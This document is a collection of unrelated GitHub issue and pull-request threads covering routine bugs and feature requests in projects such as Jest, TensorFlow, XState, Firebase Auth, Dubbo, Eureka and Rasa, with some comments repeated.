I found two FPs on Stack Overflow for this pattern.  https://data.stackexchange.com/stackoverflow/revision/662129/826523/posts-with-suspicious-reviews-pattern-in-url
My query is running into timeouts as usual, "top 2" got me these two but I'll see if it can find any more. Somebody who actually possesses some SQL skills might be able to pull out more.

Two more. https://data.stackexchange.com/stackoverflow/revision/662129/826528/posts-with-suspicious-reviews-pattern-in-url

Thanks to @rene, a total of 29 FPs on Stack Overflow: https://api.stackexchange.com/docs/advanced-search#order=desc&sort=activity&url=*-reviews&filter=!9YdnSPuG8&site=stackoverflow&run=true

We can always revert this if anything goes wrong. 29 FPs all time doesn't seem too bad.


[ILLA App]: Add Programming Meme Generator

📝 Description
Added Programming Meme Generator
💣 Is this a breaking change (Yes/No):

[ ] Yes
[x] No

🚧 How to migrate?
Don't need.
📝 Additional Information
lol

@Susmita-Dey
Please double-check your App again. There are bugs in your App and we can't get the results, please fix the bug and submit to us again.


Resolve mocks starting at test file

Do you want to request a feature or report a bug?

Feature

What is the current behavior?

Mocking libs in node_modules requires putting __mocks__ adjacent to the lib in node_modules.

What is the expected behavior?

__mocks__ should be resolved closest to the test file, up to the <rootDir>, then through module paths as it is now.

Rationale
Dependencies like react-codemirror are problematic with Jest.  My PrettyCode component depends on react-codemirror, but to mock this I either configure setupFiles, moduleNameMapper, or create ./node_modules/__mocks__/react-codemirror.js _which is traditionally not versioned & blown away because of npm being npm.
Instead, it'd be preferable to have:
src/
  components/
    PrettyCode/
      __mocks__/
        react-codemirror.js
      PrettyCode.js
      PrettyCode.test.js
node_modules/
  react-codemirror/

Thoughts?

Can you provide a repro?
You should be able to mock Node modules from any directory in the project tree.
Provided left-pad is in node_modules this should work:
src
├── __mocks__
│   └── left-pad.js
└── left-pad.test.js

left-pad.js:
module.exports = 'left-pad'

left-pad.test.js:
test('mocks leftpad', () => {
  expect(require('left-pad')).toBe('left-pad')
})

@thymikee I'll have to test this.  I ran into this issue on ~17 IIRC and ended up with a custom setupFiles that called the mocks before the tests were ran (since I couldn't get what you did to work locally).

@ericclemmons ping! ICYMI Jest 19 came out, so it would be great to test on the newest version.

Closing due to inactivity (on my part) :D


Add pony_send_next runtime function

This new function allows switching to a new message when tracing message contents before sending. The two following code snippets are equivalent.
pony_gc_send(ctx);                | pony_gc_send(ctx);
pony_trace(ctx, obj);             | pony_trace(ctx, obj);
pony_send_done();                 | pony_send_next(ctx);
pony_sendp(ctx, to, mid, obj);    | pony_trace(ctx, obj2);
pony_gc_send(ctx);                | pony_send_done();
pony_trace(ctx, obj2);            | pony_sendp(ctx, to, mid, obj);
pony_send_done();                 | pony_sendp(ctx, to2, mid2, obj2);
pony_sendp(ctx, to2, mid2, obj2); |

Using pony_send_next can reduce the amount of GC acquire messages that must be sent. Using the function never results in more work being performed.
An optimisation pass taking advantage of this function will be added to the compiler in the future.

@Praetonus - do you think it's worth adding a DTRACE1 probe to this function, as pony_gc_send and pony_send_done have?

I'm not sure. Since pony_send_next must be called between a call to pony_gc_send and a call to pony_send_done, the information will be reported anyway. Without a probe, I guess that using the function will result in the tracing of different messages being considered as the tracing of a single message. I'm not familiar with dtrace so I don't know if that's a problem.

@jemc what is the changelog - added tag?

@Praetonus nice. i was going to do something like this when work settled down into something more sane.

@jemc what is the changelog - added tag?

As you may have guessed, it's related to my upcoming proposal to automate the changelog instead of making it part of each PR.  Applying the changelog - added label will ensure that a PR will be picked up by the changelog script and mentioned in the "Added" section.
Obviously, @Praetonus already added a changelog entry by hand as part of this PR, and I don't want to ask him to remove that until the automated changelog is an approved part of our workflow.  However, I want to get into the habit of applying the label to incoming PRs, and doing so will also help me test the script.  If for some reason we decide not to automate the changelog, we can delete the labels.
Getting into the habit of assigning the

@jemc and what would have been added as the comment? how would it work if there are "added" and "changed" parts to a commit?

@SeanTAllen - I'll open another ticket in the next few days where we can discuss the particulars and hammer out something that we can be happy with.


Problem with shape inference with diag_part operator.

Running` from master the following small code snippet gives an error.
import tensorflow as tf
import numpy as np

W = tf.constant(3., tf.float64)
X = tf.placeholder(tf.float64, [5,3])
Y = tf.scalar_mul( W , tf.ones(tf.pack([tf.shape(X)[0], tf.shape(X)[0]]), tf.float64) )
Z = tf.diag_part(Y)

init = tf.initialize_all_variables()

sess = tf.Session()
sess.run(init)
print(sess.run(Z, feed_dict={X: np.ones((5,3))}))

The relevant part of the error is

/tensorflow/python/ops/array_ops.py", line 960, in _DiagPartShape
" do not match ")
ValueError: Invalid shape, shape[:mid] (?,) and shape[mid:] (?,) do not match

I think it is reasonable to be able to get the diagonal of this matrix. Therefore I think this is a bug with the shape inference.
Thanks,
Alex

Simpler example
shape = tf.placeholder(tf.int32, shape=(2))
a = tf.ones(shape)
sess = tf.Session()
sess.run(tf.diag_part(a+1), feed_dict={shape:(1,1)})
ValueError: Invalid shape, shape[:mid] (?,) and shape[mid:] (?,) do not match

@yaroslavvb That looks like a bug then. I'd be interested in a work around if anyone finds one.

A fix has been submitted.


Update documentation to reflect new package

Updated docs to use "@sveltelegos-blue/svelte-legos" instead of "svelte-legos".
Would be nice if the npm package could be changed into something simpler such as "svelte-legos-blue".

I am beyond grateful you did this, thank you.


multiple controller  on pc

Is there soft can control multiple usb devices on one pc ?

https://github.com/Genymobile/scrcpy/blob/master/README.md#multi-devices


Add support for Svelte

Hi,
Please add support for .Svelte files, its an awesome new framework/javascript compiler that is gaining traction.
Svelte is a new frontend javascript framework that is developing nicely, it just hit version 3. Its actually a javascript compiler that can ship a full webapps code as small as preact (around 3kb) after compilation. There is also a nice framework built around svelte called Sapper that is very similar to reacts Nextjs. Svelts's Sapper runs much faster and smaller than Next.js, and has a few very interesting nice to have features that make developing with it very nice.
Trust me, Svelte and Sapper are going to do very well. It's basically the birth child between Vuejs and Reacts with much better speed and bundle sizes.
Hope this helps.
Here are the links to the respective framework pages.
Svelte: https://svelte.dev
Sapper: https://sapper.svelte.dev/
Bests,
SKDigital.

yup, pleas add .svelte format

Hey, I cloned the extension locally, made this change:
    // HTML based extensions
     ["html", "django-html", "razor", "php", "blade", "vue",
-        "twig", "markdown", "erb", "handlebars", "ejs",
+        "twig", "markdown", "erb", "handlebars", "ejs", "svelte"
     ].forEach((extension) => {
         context.subscriptions.push(provideCompletionItemsGenerator(extension, /class=["|']([\w- ]*$)/));
     });

and installed it in my vscode.
It works perfectly?
I'd create a PR, but surely I'm missing something and there's more to it than this?

Classes where the first capital letter are not displayed... Header (header)...


Dealing with ruby on a BBC machine and network connection

I think someone familiar with the typical BBC set-up needs to provide some advice for doing the basic installation steps within the 'Getting Started' and 'Contributing' guides.
It could be as simple as having a non-Reith network connection, but I'm not the best person to advise.

@freeballoon said about installing within the BBC network:
[when downloading gems as documented in GETTINGSTARTED.md ...]
Unable to download data from https://rubygems.org/ - SSL_connect returned=1 errno=0 state=error: certificate verify failed
Needed to install GlobalSign root certificates, but also a key part was this:
export SSL_CERT_FILE=/etc/pki/certificate.pem

Alternatively (to export SSL_CERT_FILE) I've achieved the same effect by copying the GlobalSign root certificate .pem file to /usr/local/lib/ruby/2.3.0/rubygems/ssl_certs/
re: https://gist.github.com/luislavena/f064211759ee0f806c88#gistcomment-1892279

I think this can be closed as the project no longer has an ruby dependencies.

Agreed


(question) Breaking changes v5 to v6 migration

Question
Hey guys, as the repo do not have a changelog file, I need to ask if the upgrade to v6 have some breaking changes that I need to care about when migrating from v5.
Thanks

Version 5 is not supported by webpack v2.x


Allow State.matches() to match multiple states

Bug or feature request?
Feature request / query
Description:
I have a piece of UI that I'd like to display when one of multiple states is true. At the moment, I'm writing code like this:
const displayCustomerBalance = current.matches("customer_deposit") || current.matches("customer_withdrawal");

This is okay, but gets a bit cumbersome when you add more states. It would be nice to be able to write something more like:
const displayCustomerBalance = current.matches([
  "customer_deposit",
  "customer_withdrawal"
]);

It might be that you can actually do something like this and I've missed or misunderstood something. If so, sorry!
(Feature) Potential implementation:
I think adding an overload for State.matches() with a signature like this would work, where TSV is a union of the possible value types instead of a single value type:
matches<TSV>(parentStateValues: TSV[]): this is TState extends { value: TSV; } ? State<TState["context"], TEvent, TStateSchema, TState> : never

It would call utils.ts/matchesState for each of the state values passed in, and return true if any of them were true.

This can be easily added in userland as a custom helper, not sure if it's worth overloading a core feature with this complexity.

That's fair enough. My main argument in favour of the change would be that, because it's such a core feature, it makes sense to prioritise ergonomics. The pattern of providing either a single value or an array exists elsewhere in the library (when defining actions on a state transition, for example), so I assumed it would work on matches() and was surprised when it didn't.
As an aside, the array form doesn't currently produce a TypeScript error or throw an exception, it just returns false. Are there cases when a state value can actually be an array, or is this a bug?

Are there cases when a state value can actually be an array, or is this a bug?

There are not - it's always object and/or string.
I'll add this as an enhancement to V5, which will be much more modular, so adding this helper will not be included in the bundle.

Sounds good to me!

const displayCustomerBalance = ["customer_deposit", "customer_withdrawal"].some(current.matches))

Would that work?

I have made the following helper function that seems to work well.
export const matchesMachineState = (
  states: string[],
  machine: State<any, any, any, any>
) => (states.find((state) => machine.matches(state)) ? true : false);


Winner designation updates

Fixes #661
This PR adds some additional logic to show a "Revoke Scholarship" button to an applicant that has been awarded a scholarship. It provides an interface for removing the winner status in case it was done in error or needs to be removed for some other reason.
This PR also updates the logic for the Scholarship Class period to correctly reflect the class period for the gallery being displayed.
@angaither
CC: @mikefantini @lizzydivine
Note: Once deployed it would be useful to do a cache clear on the site.

@weerd lookin good, but this just removes the winner no warning?

wait, why is this failing, is the composer stuff not rebased in?

I put in a text warning for now so I could push this up sooner:

:+1:


MdChip

I couldn't get the latest update of MdChip from latest build 2.0.0-beta.8. Please help me how to get out
Thank you

Chips update (with add, remove, etc) were not part of beta.8 and will be in beta.9.

Thank you for your quick reply, and i'm waiting for the major release .9


Example usage shows different repository name

Repository name is different in the example usage template for the action, shows cmavr8/checkov-action

thank you! fixed :)


sc-9875 vaspdirectory.net Landing Page Improvements

Scope of changes
sc-9875 vaspdirectory.net Landing Page Improvements
Type of change

[x] bug fix
[ ] new feature
[ ] documentation
[ ] other (describe)

Acceptance criteria
https://app.shortcut.com/rotational/story/9875/vaspdirectory-net-landing-page-improvements

Author checklist

[x] I have manually tested the change and/or added automation in the form of unit tests or integration tests
[ ]  I have updated the dependencies list
[ ]  I have recompiled and included new protocol buffers to reflect changes I made
[ ]  I have added new test fixtures as needed to support added tests
[x]   Check this box if a reviewer can merge this pull request after approval (leave it unchecked if you want to do it yourself)
[x]  I have moved the associated Shortcut story to "Ready for Review"

Reviewer(s) checklist

[ ] Any new user-facing content that has been added for this PR has been QA'ed to ensure correct grammar, spelling, and understandability.

Codecov Report
Base: 43.94% // Head: 43.94% // No change to project coverage :thumbsup:

Coverage data is based on head (cd4c5b7) compared to base (0d7b7f9).
 Consider uploading reports for the commit 99a9309 to get more accurate results

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #832   +/-   ##
=======================================
  Coverage   43.94%   43.94%
=======================================
  Files         612      612
  Lines       22792    22792
  Branches     1385     1385
=======================================
  Hits        10016    10016
  Misses      11471    11471
  Partials     1305     1305

Flag
Coverage Δ

unittests
43.94% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

...ds-user-ui/src/components/Header/LandingHeader.tsx
73.33% <ø> (ø)

web/gds-user-ui/src/components/ui/Logo.tsx
100.00% <ø> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


🐛 [firebase_auth] Creating user with Facebook fails

Bug report
Firebase Auth sign in works fine for anonymous, google, apple, and email. Currently is not working for Facebook login, returning the error message:
Unhandled Exception: [firebase_auth/invalid-credential] The supplied auth credential is malformed or has expired. [ Unsuccessful debug_token response from Facebook: {"error":{"message":"Invalid OAuth access token.","type":"OAuthException","code":190,"fbtrace_id":"ATs-4V9W16inLGb7FOgUZPS"}} ]

Others with similar problems (here and here) have been due to incorrect setup, usually Facebook App ID and Secret not matching between Facebook, Firebase, and within the project. These have been checked repeatedly. I have tried using the Firebase REST api to create the user, again works for other providers, but still returns the same error when attempting via Facebook.
Facebook login works fine and returned access token works fine when calling FB graph api directly.
If my setup is incorrect and not a bug, perhaps the documentation needs updating.
Steps to reproduce
For example using the packages
  firebase_core: "^0.5.3"
  firebase_auth: "^0.18.4"
  flutter_facebook_auth: "^1.0.0"

And executing
final result = await FacebookAuth.instance.login();
final FacebookAuthCredential facebookAuthCredential = FacebookAuthProvider.credential(result.token);
await FirebaseAuth.instance.signInWithCredential(facebookAuthCredential);

Flutter doctor
Run flutter doctor and paste the output below:
Click To Expand
[✓] Flutter (Channel stable, 1.22.4, on Mac OS X 10.15.7 19H2 darwin-x64, locale en-GB)
    • Flutter version 1.22.4 at /Users/russellkirk/Development/Flutter
    • Framework revision 1aafb3a8b9 (7 weeks ago), 2020-11-13 09:59:28 -0800
    • Engine revision 2c956a31c0
    • Dart version 2.10.4

[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
    • Android SDK at /Users/russellkirk/Library/Android/sdk
    • Platform android-29, build-tools 29.0.2
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6222593)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.3, Build version 12C33
    • CocoaPods version 1.10.0

[✓] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin installed
    • Dart plugin version 201.9245
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6222593)

[!] Connected device
    ! No devices available

Hi @RCook1990
Have you done this?

Ensure the "Facebook" sign-in provider is enabled on the Firebase Console. with the Facebook App ID and Secret set.

And from firebase console

To complete set up, add this OAuth redirect URI to your Facebook app configuration.

Seems like this could be where the message stems from.
Also I would recommend you update to the latest flutter_facebook_auth: ^1.0.2+2 since

Added loginBehavior (Android) to allow select the auth UI like webview, native app or dialogs.

Thank you

Hi @markusaksli-nc,
Yes, the Facebook sign-in method has been enabled on Firebase and the redirect URI copied to the Facebook console. I copied over the App ID and Secret again just now, and the problem persists. I've also updated to flutter_facebook_auth: ^1.0.2+2, and tried the various loginBehaviours.
Thanks for your help

Are you trying to create with an admin or tester facebook account?
From doing some digging it still seems like the issue could be from you copying a key slightly wrong somewhere https://stackoverflow.com/q/54922944/7007353.

I've been primarily using my admin account for testing, but I have also created a test user and got the same problem.
It does seem like I have must have mis-copied something, however I keep checking over my config and re-pasting all the relevant keys for this reason and unfortunately the issue persists. I have created a fresh project and re-setup everything and still get the problem. I have also checked if my keys have any whitespace I'm accidentally adding. So as far as I can tell all my keys should be correct, but I shall keep checking.

I've been primarily using my admin account for testing, but I have also created a test user and got the same problem.
It does seem like I have must have mis-copied something, however I keep checking over my config and re-pasting all the relevant keys for this reason and unfortunately the issue persists. I have created a fresh project and re-setup everything and still get the problem. I have also checked if my keys have any whitespace I'm accidentally adding. So as far as I can tell all my keys should be correct, but I shall keep checking.

Still not working after checking keys, secrets, etc.
For example here are the App Id and Secret in the Facebook console

And here they are in the Firebase console along with the redirect URL...

Which has been copied back to the Facebook console

To setup for Android the ID was put into the manifest

And for iOS in info.plist

I appreciate the censored keys aren't exact proof, but hopefully convincing evidence.
As same error occurs in Android and iOS, I'm inclined to think the issue is not with the OS-specific configurations in the manifest and info.plist for example. And since the Facebook access token returned by the login is valid and correctly works when input into Graph Api requests, I don't think the Facebook login has been incorrectly setup.
It seems like either the keys are wrong on the Firebase, or some settings on Firebase or Facebook consoles must be wrong. Although as you can see the keys are correct and so are the settings (as far as I can tell). Not sure where to go from here.

Still not working after checking keys, secrets, etc.
For example here are the App Id and Secret in the Facebook console

And here they are in the Firebase console along with the redirect URL...

Which has been copied back to the Facebook console

To setup for Android the ID was put into the manifest

And for iOS in info.plist

I appreciate the censored keys aren't exact proof, but hopefully convincing evidence.
As same error occurs in Android and iOS, I'm inclined to think the issue is not with the OS-specific configurations in the manifest and info.plist for example. And since the Facebook access token returned by the login is valid and correctly works when input into Graph Api requests, I don't think the Facebook login has been incorrectly setup.
It seems like either the keys are wrong on the Firebase, or some settings on Firebase or Facebook consoles must be wrong. Although as you can see the keys are correct and so are the settings (as far as I can tell). Not sure where to go from here.

I can't say where this could be coming from at this point. Labeling this for some further investigation.

I can't say where this could be coming from at this point. Labeling this for some further investigation.

I am facing the same problem. I rechecked AppID and App Secret. The OAuth Redirect is also set. Calling Facebook API directly is working(I can retrieve name, email and id of user). The only notable difference from @RCook1990's settings are:

In Facebook login for gaming settings only "Client OAuth Login" is "Yes".
I have not set any namespace in Facebook console.

@RCook1990 Please post solution if you have solved this issue. Thanks.

I am facing the same problem. I rechecked AppID and App Secret. The OAuth Redirect is also set. Calling Facebook API directly is working(I can retrieve name, email and id of user). The only notable difference from @RCook1990's settings are:

In Facebook login for gaming settings only "Client OAuth Login" is "Yes".
I have not set any namespace in Facebook console.

@RCook1990 Please post solution if you have solved this issue. Thanks.

Also, when I put the redirect URI in "Redirect URI Validator", it gives an error:
This is an invalid redirect URI for this application
You can make this URI valid by adding it to the list of valid OAuth redirect URIs above

Note: both the blacked URIs in the image are same.

Also, when I put the redirect URI in "Redirect URI Validator", it gives an error:
This is an invalid redirect URI for this application
You can make this URI valid by adding it to the list of valid OAuth redirect URIs above

Note: both the blacked URIs in the image are same.

@siddhantkothari  If I find a fix, I will post it here, but still stuck for now. As for the error when you input the redirect URI, you need to enable Login for Web in order for the check to work. Also make sure after you input the URI into Valid OAuth Redirect URIs, you hit save.

@siddhantkothari  If I find a fix, I will post it here, but still stuck for now. As for the error when you input the redirect URI, you need to enable Login for Web in order for the check to work. Also make sure after you input the URI into Valid OAuth Redirect URIs, you hit save.

Problem solved! Issue was not with firebase_auth, but with how the app is set up on the Facebook developer console. When first creating the app you are presented with the following menu

I originally selected "Build or Connect to a Game" as it says it is used when connecting to a gaming app played on or off the Facebook Platform, which is what best describes my app. I re-setup the app on FB, but now chose "Build Connected Experiences" and now it works. No idea why though.

Problem solved! Issue was not with firebase_auth, but with how the app is set up on the Facebook developer console. When first creating the app you are presented with the following menu

I originally selected "Build or Connect to a Game" as it says it is used when connecting to a gaming app played on or off the Facebook Platform, which is what best describes my app. I re-setup the app on FB, but now chose "Build Connected Experiences" and now it works. No idea why though.


Move default focus to content

On a new post in the editor, can we move default focus to the body instead of the title? Also change placeholder to Now begin writing your story...
Idea being that when you start a new post, you begin by writing [something] rather than coming up with a title. This seems to be the default way-around for most of the newer writing apps these days

Re-open for revert, see https://github.com/TryGhost/Ghost-Admin/pull/755.
This issue caused a bug, which we can't fix right now. Postponed for post 1.0.

Even after reverting https://github.com/TryGhost/Ghost-Admin/pull/748 we faced a related - and already existing issue - where autosave is not triggered, when the user skips entering a post title either by clicking into the content area or using tab to jump there:

As this seems to be related and needs to be fixed together with this issue, I'll leave this here. We can still open a new issue for it if needed.

Not sure how this got closed 😕 Must have been an errant click/keypress


Test commit to see if circleci cooperates

I disabled precaution to see if circleci will trigger
Signed-off-by: Rose Judge<EMAIL_ADDRESS>

No Precaution app - it triggers!


【BUG】2.7.9 Consumer无法获取到Provider的默认配置

[ ] I have searched the issues of this repository and believe that this is not a duplicate.
[ ] I have checked the FAQ of this repository and believe that this is not a duplicate.

Environment

Dubbo version: 2.7.9
Operating System version: macOS 10.15.7
Java version: 1.8.0_231

Steps to reproduce this issue

准备 consumer 和 provider 各一个服务
provider的服务类，使用注解@DubboService(retyies=0)标注，方法睡眠2s

@Component
@DubboService(retries = 0)
public class DemoImpl implements Demo {
    public int sleepNSeconds() {
        System.out.println("==========before sleep==========");
        try {
            TimeUnit.SECONDS.sleep(2);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

Consumer直接使用注解@DubboReference，不指定其它参数

@RunWith(SpringRunner.class)
@SpringBootTest(classes = {ConsumerApplication.class})
public class DemoIT {

    @DubboReference
    private Demo demo;

    @Test
    public void testSleep() throws InterruptedException {
        demo.sleepNSeconds();
    }
}

Expected Result
consumer 调用超时后重试一次
Actual Result
实际上consumer重试调用了3次，也就是说没有读取到 provider 默认的配置。接着我们debug了源码，发现：
在org.apache.dubbo.rpc.cluster.support.FailoverClusterInvoker#doInvoke中它会获取 Directory的consumer url
@Override
  public URL getUrl() {
      return directory.getConsumerUrl();
  }

但是这个 consumer url，并没有合并 provider url 的配置，导致consumer url里面的参数配置都是dubbo默认的

Does the latest version also have this problem? I remember it seems that the new version fixes this problem.
Please upgrade the most recently released version and try.

Hi, I see that the latest version is 2.7.11, but it has no effect

Hi, I see that the latest version is 2.7.11, but it has no effect. org.apache.dubbo.registry.integration.RegistryDirectory#getConsumerUrl still can't get the parameters from the provider url

ok, I will check the code later to see what the reason is.

If the providers in the cluster expose different retries values for the same method, which one does the consumer rely on?
Because of the characteristics of Failover Cluster, we can only rely on the current consumer. Is this correct?

If the providers in the cluster expose different retries values for the same method, which one does the consumer rely on?
Because of the characteristics of Failover Cluster, we can only rely on the current consumer. Is this correct?

This is also a problem.

@shenyanming95 In FailoverClusterInvoker, the retries are obtained before the provider is called, so the value can only be obtained from the consumer. However, if the retries are obtained based on the url of the invoker during the call, it may be because the configuration of each provider is different , The number of retries in the call is uncertain. So I agree with cnjxzhao's point of view.

@shenyanming95 In FailoverClusterInvoker, the retries are obtained before the provider is called, so the value can only be obtained from the consumer. However, if the retries are obtained based on the url of the invoker during the call, it may be because the configuration of each provider is different , The number of retries in the call is uncertain. So I agree with cnjxzhao's point of view.

all right, It may be our use error

有解决方法吗？确实有这样的需求怎么办呢，在哪种模式下才能把Provider的配置传到Cousumer???
@xiaoheng1 @cnjxzhao

@caichy Personally, it’s better for the consumer to decide the number of retries.


It is not always necessary to delete expired cookies

Thanks for your nice project.
I understand that deleting or not saving expired cookies from the file is normal behavior. But sometimes some sites return tokens in the cookie that, despite the expiration of the cookie date and removal from the browser, that token is still valid in subsequent requests and there is no need to request again to get that token. So I don't need that cookie to be deleted.
I have to solve this problem.
https://github.com/jkhsjdhjs/node-fetch-cookies/blob/db40f03ecfcaff613202637191060bf9d63d355c/src/cookie-jar.mjs#L108-L109
This code:
this.cookiesValid(false)
to this:
this.cookiesValid(true)
I changed.
It might be a good idea to add a parameter to the main class to select and manage this feature.

I did a review and found that my previous problem was not related to keeping expired cookies. It means that the cookies whose expiration date has reached should be deleted in any case.
The problem was related to the time when the expiration date was not set for the cookie, which caused the cookie not to be saved.
That is, for example, in cases where the site returns the cookie like this:
'set-cookie': [ 'test=test; expires=Thu, 08-Feb-2024 18:49:56 GMT; Max-Age=10; path=/' ]

Saved file:
[{"name":"test","value":"test","expiry":"2024-02-08T18:49:56.105Z","path":"/","domain":"ex.com","subdomains":false,"secure":false}]

It is not a problem because there is an expiration date and it is checked by cookiesValid and hasExpired.
But when the site returns the cookie like this:
'set-cookie': [ 'test=test' ]

Saved file:
[{"name":"test","value":"test","domain":"ex.com","subdomains":false,"path":"/","secure":false,"expiry":null}]

Because the expiration date is null, this cookie is assumed to be expired and will never be saved. While browsers accept it and set a standard value like this:
Expires / Max-Age: "Session"

So as a quick fix I solved the problem with a small change in the cookiesValid function, for which I am sending a PR.


DiscoveryClient.shutdown() does not shutdown all Threads - MemoryLeak

Hi,
I'm using Eureka-Client 1.4.11.
We are running applications containing an eureka-client on Tomcat 7.0.42 and on undeploy although I call EurekaClient#shutdown(), I get the following warning:
SEVERE: The web application appears to have started a thread named [AsyncResolver-bootstrap-1] but has failed to stop it. This is very likely to create a memory leak.
After some time of debugging I found out that the reason is to be found in AsyncResolver#shutdown():
At AsyncResolver.java:144 if I call
executorService.shutdownNow();
instead of
executorService.shutdown();
then I do not get the Tomcat-Message anymore. I think the reason is that ExecutorService#shutdown() >>...Initiates an orderly shutdown in which previously submitted tasks are executed...<< (see https://docs.oracle.com/javase/7/docs/api/java/util/concurrent/ExecutorService.html#shutdown() ), while shutdownNow() >>Attempts to stop all actively executing tasks<<, and therefore the "backgroundTask" is started once more, which itself schedules a new Task (see TimedSupervisorTask.java:61) and therefore some Thread does not termiate...
I do not fully understand these Threads, but if I call executorService.shutdownNow() as mentioned above, I get one FutureTask as result, that was terminated:
http://prntscr.com/d7l5zf
...and Tomcat does not report a memory-leak issue anymore.
Therefore I would recommend to replace AsyncResolver.java:144-145 by:
executorService.shutdownNow();
threadPoolExecutor.shutdownNow();

created pull request for this issue

Thanks @klues fixed in #876


State of the project

Hello.
I've experimented with the bot and used the default kubernetes deployment descriptor which fetched the "0.0.1" tag of the docker image. WIth this version I get pod changes notifications and service change notifications (although I get a log of spurious service changes for some reason). I've also tried the latest code from the repository which has a lot of commented out code and it seems only pod notifications are working.
What is the current state of the project? Is there some refactoring going on?

Hi @edevil unfortunately we don't really maintain this project anymore.
Most of skippbox projects moved to https://github.com/bitnami and we now work a lot on https://github.com/kubeless/kubeless

Thank you for the clarification!


How to add Support to Youtube and Vimeo Iframe Or to direct Link

[ ] Issue does not already exist
[ ] Issue observed on https://plyr.io

Expected behaviour
Is There any Way I can Also Play Youtube Video or vimeo Video which are embedded Through iframe or direct Link In Plyr Player
<div data-type="youtube" data-video-id="bTqVqk7FSmY">
Using This For Youtube Video works But when I Use Iframe or direct Links Its Doesnt work
Actully I Have Old Post Using Iframe Or Direct Link
That why im asking if There Is a Way Please Let Me Know

There's currently no way but it's in the backlog as a task


#2 #3 #4 #5

Create the following directories and server.js for the app to be functional

All code is functional allowing for a running application.

#2 #3 #4 #5


Changing kubelet LegacyHostIPs to InternalIPs

Part of an effort to remove LegacyHostIPs. #8087
@bgrant0607 @dchen1107

I don't think we can stop setting LegacyHostIP until we remove the other uses of it.

For example:
https://github.com/GoogleCloudPlatform/kubernetes/blob/6e3ff01fa723afa7529dac113e9b654bd000f19a/test/e2e/service.go#L979

@bgrant0607 Is there a way to test that this is ok? Or should we just aim to remove all uses at once?

I'm going to abandon this PR for now.


run online-training without retraining via keras

Rasa Core version:
0.9.0a5
Python version:
3.6.2
Operating system (windows, osx, ...):
osx
Issue:
How to run online-training without running keras training again
Content of domain file (if used & relevant):
I'd like to have a way to (1) load an already trained model from models/*, then (2) run online-training without going through keras training first.
I see how to load an Agent, which, in turn can load a KerasPolicy() which in turn can load a model.  However, after loading my model, Agent.train_online() is called which requires KerasPolicy().train() to run.  But I don't want to run another n number of epochs, I just want to jump right into online-training.
Is that possible?
Thanks for any suggestions.

I figured it out!
Agent.train_online() just needs to be fed None for training data, and then it's skipped.
Closing issue.

Ack.  That didn't work.  Without seeing the training_data, it appears that the model didn't have any information about my intents or entities:
Bot loaded. Type a message and press enter:
waddup
2018-05-25 18:56:51 WARNING  rasa_core.featurizers  - Couldn't set most probable feature 'intent_waddup', it wasn't found in the feature list of the domain. Make sure you added all intents and entities to the domain.

So I'm back to my original question:
Is there a way to "jump right to online-training without having to run through the n epochs of keras training?

I was able to "skip" the keras training by setting initial_epoch to the same value as epochs so that model.fit() ran 0 epochs of training.
Not the most elegant of solutions, but it appears to have worked.


Error in add local media tracks ---> C# Tutorial (Desktop)

Hello
In Add local media tracks, section C # Tutorial (Desktop) does not detect and give an error when I add LocalVideoTrack.
please help.
https://microsoft.github.io/MixedReality-WebRTC/manual/cs/helloworld-cs-mediatracks-core3.html

I have same problem.
In addition, PeerConnection's AddTransceiver method can not be found in Microsoft.MixedReality.WebRTC namespace.

I guess, the problem is solved in the following pr.
https://github.com/microsoft/MixedReality-WebRTC/pull/369

No, it still gives an error

If AddTransceiver cannot be found that means you're using the 1.0 API from the NuGet packages, and looking at the documentation for the 2.0 API present on the master branch. Change the drop-down in the top right of the docs page to look at the release/1.0 docs, or use the sources from the master branch and stop using the NuGet packages. There is no NuGet package for the 2.0 API yet since the 2.0 release is in preparation.

Error in "//  Execute the native async callback"


adicionando pagina de teste

comentarios

Hey @felipecamargo, I don't think we should extend the base application.


Fixes #1334: SQS collector auto configuration

Preliminary PR waiting on release of https://github.com/openzipkin/zipkin-aws/tree/master/collector-sqs

ahh nice, but we should put this in the zipkin-aws repo (since that's where
the code lives, it will require less coordination. Maybe make an
autoconfigure folder there?

Moving to zipkin-aws project